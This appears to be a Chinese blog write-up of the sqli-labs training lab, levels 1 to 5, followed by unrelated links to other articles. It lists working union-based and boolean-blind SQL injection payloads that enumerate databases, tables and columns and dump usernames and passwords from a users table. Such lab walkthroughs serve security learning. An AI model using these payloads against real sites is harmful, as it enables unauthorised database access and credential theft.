Sqli-labs-master通关解析(持续更新中。。。)
大多情况下:SQL注入其实就是构造正确的mysql命令,让网页回显本不应该让我们看到的数据(如用户的账号和密码)。
| 第一关-联合查询注入 |
查库
// 查看当前页面在的数据库
?id=-1' union select 1,2,database();--+
//一个一个的查
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+
//查看所有数据库
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
查表
//一个一个的查
?id=-1' union select 1,2, table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1; --+
//查所有表
?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479; --+
查字段
//一个一个的查
?id=-1' union select 1,2, column_name from information_schema.columns where table_name=0x7573657273 limit 1,1;--+
//查所有字段
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+
查值
//一个一个的查
?id=-1' union select 1,username,password from security.users limit 1,1;--+
//查所有值
?id=-1' union select 1,2, group_concat( concat_ws(0x7e,username,password) ) from security.users ;--+
| √ 解析 |
原理
当我们传入参数id=1时,其实在后台执行的代码是
SELECT * FROM users WHERE id='1' LIMIT 0,1;
以查库为例,在mysql中我们要想知道当前我们所处的数据库名称会用database()函数,数据库会返回当前所在库名
那么我们怎么让网页返回的值是我们想要其他的的值呢?
显然我们要在输入1的位置做文章
?id=1'--+ (其中的单引号‘ ' ’用来闭合id,--+注释符把后面的命令注释掉)
这样可以执行成功,此时后台执行的代码是
SELECT * FROM users WHERE id='1';--+' LIMIT 0,1;
--+后面的语句被注释已失效,显然SELECT * FROM users WHERE id='1';是一条完整且正确的命令开始构造
我们采用联合查询语句继续构造
输入
?id=-1' union select 1,2,database();--+
显然数据的id是从1开始编写的,id=-1肯定不存在,默认返回‘执行后面的命令获得的数据’
此时后台执行
SELECT * FROM users WHERE id='-1' union select 1,2,database();--+' LIMIT 0,1;
显然SELECT * FROM users WHERE id='-1' union select 1,2,database();是一条完整且正确的命令
但是当我们注入某个网站时,用户的账号密码不一定就在‘网页当前所在数据库’里啊。其他的数据库名字我又不知道在怎么办?
查!
同样的我们构造
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+ //一个一个的查
这是一条通用命令,即查询数据库中所有库的名字
limit 1,1表示从第一条数据开始数,下一条数据
当然也可以
limit 1,2 第三条数据
limit 1,3 第四条数据
...
从而遍历出所有数据什么?太麻烦了
我们可以用grup_concat()一次查出所有数据,显然limit 1,1就没用了--> 扔掉!
用法:把查的内容用函数包裹即可
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
接着,同样的道理
查表
查字段
(略)...
| 第二关-联合查询注入 |
id的闭合方式变为
id= 1
| 第三关-联合查询注入 |
id的闭合方式变为
id= (' 1 ')
| 第四关-联合查询注入 |
id的闭合方式变为
id= (" 1 ")
| 第五关-BOOL型注入 |
方法一
?id = 1 ' and left( ( database() ), 1 ) = 'a' ;--+
把 database() 部分换做
查库
select schema_name from information_schema.schemata limit 1,1
查表
select table_name from information_schema.tables limit 1,1
查字段
select table_name from information_schema.columns limit 1,1
查数据
select password from security.users limit 1,1
方法二
Sqli-labs-master通关解析(持续更新中。。。)的更多相关文章
- 史上最全的spark面试题——持续更新中
史上最全的spark面试题——持续更新中 2018年09月09日 16:34:10 为了九亿少女的期待 阅读数 13696更多 分类专栏: Spark 面试题 版权声明:本文为博主原创文章,遵循C ...
- git常用命令(持续更新中)
git常用命令(持续更新中) 本地仓库操作git int 初始化本地仓库git add . ...
- java视频教程 Java自学视频整理(持续更新中...)
视频教程,马士兵java视频教程,java视频 1.Java基础视频 <张孝祥JAVA视频教程>完整版[RMVB](东西网) 历经5年锤炼(史上最适合初学者入门的Java基础视频)(传智播 ...
- 《WCF技术剖析》博文系列汇总[持续更新中]
原文:<WCF技术剖析>博文系列汇总[持续更新中] 近半年以来,一直忙于我的第一本WCF专著<WCF技术剖析(卷1)>的写作,一直无暇管理自己的Blog.在<WCF技术剖 ...
- HBase常见问题答疑解惑【持续更新中】
HBase常见问题答疑解惑[持续更新中] 本文对HBase开发及使用过程中遇到过的常见问题进行梳理总结,希望能解答新加入的HBaser们的一些疑惑. 1. HTable线程安全吗? HTable不是线 ...
- 【github&&git】4、git常用命令(持续更新中)
git常用命令(持续更新中) 本地仓库操作git int 初始化本地仓库git add . ...
- Flume的一些报错问题解决(持续更新中)
严谨转载--否则追究法律责任 作者----王加鸿 ----------bug 1---------- ...
- fastadmin 后台管理框架使用技巧(持续更新中)
fastadmin 后台管理框架使用技巧(持续更新中) FastAdmin是一款基于ThinkPHP5+Bootstrap的极速后台开发框架,具体介绍,请查看文档,文档地址为:https://doc. ...
- 前端面试题总结——HTML(持续更新中)
前端面试题总结--HTML(持续更新中) 1.什么是HTML? HTML:HyperText Markup Language超文本标记语言 2.XHTML和HTML有什么区别 HTML是一种基本的WE ...
- 2020年腾讯实习生C++面试题&持续更新中(5)
2020年腾讯实习生C++面试题&持续更新中(5) 大家好呀,我是好好学习天天编程的天天~ 昨天一位小伙伴反馈已经拿到了腾讯offer,很是替小伙伴的激动~ 那今天还是持续给大家分享面经,希望 ...
随机推荐
- M3D - 一个想突破又还有很多包袱的新生三维数据格式杂谈
目录 1 门派 2 几个术语简析 3 结构简析 3.1 空间剖分方式 3.2 空间范围表示方式 4 M3DDataInfo.mcj 类定义 5 NodeInfo.json 类定义 6 *.m3d 文件 ...
- Java(265-278)【Map】
1.Map集合概述 是一个接口 键是唯一的 java.util.Map<k,v>集合 Map集合的特点: 1.Map集合是一个双列集合,一个元素包含两个值(一个key,一个val ...
- (十二)docker --privileged
1. privileged参数作用 --privileged Give extended privileges to this container 大约在0.6版,privileged被引入docke ...
- 同事写了一个疯狂的类构造器,我要疯了,Builder 模式都不会么?!
疯狂的类构造器 最近栈长在做 Code Review 时,发现一段创建对象的方法: Task task = new Task(112, "紧急任务", "处理一下这个任务 ...
- .Net Core 集成 Kafka
最近维护的一个系统并发有点高,所以想引入一个消息队列来进行削峰.考察了一些产品,最终决定使用kafka来当做消息队列.以下是关于kafka的一些知识的整理笔记. kafka kafka 是分布式流式平 ...
- 使用MyQR模块生成二维码
一.介绍 MyQR 模块是 python 的一个外部库,能够将文本或网址转为二维码,扫了之后就能查看文本或跳转到相应网站. 它是一个外部库,需要导入: pip install -i https://p ...
- Semi-Prime(set)
Prime Number Definition An integer greater than one is called a prime number if its only positive di ...
- nginx下强制跳转到www域名
跳转www #先监听 exp.com域名,然后转发到www下面 server { listen 80; server_name exp.com; rewrite ^(.*) $scheme://www ...
- python 第三方库大全
Python 作为程序员的宠儿,越来越得到人们的关注,使用 Python 进行应用程序开发的越来也多.那么,在 2013 年有哪些流行的 Python 项目呢?下面,我们一起来看下. https:// ...
- Django Ajax序列化与反序列化
序列化与反序列是最常用的功能,有时我们需要将一个表单组打包成Json格式等然后再提交给服务端,这样可以提高效率节约带框,如下是Django配合Ajax实现的序列化与反序列化,文件上传等操作. Ajax ...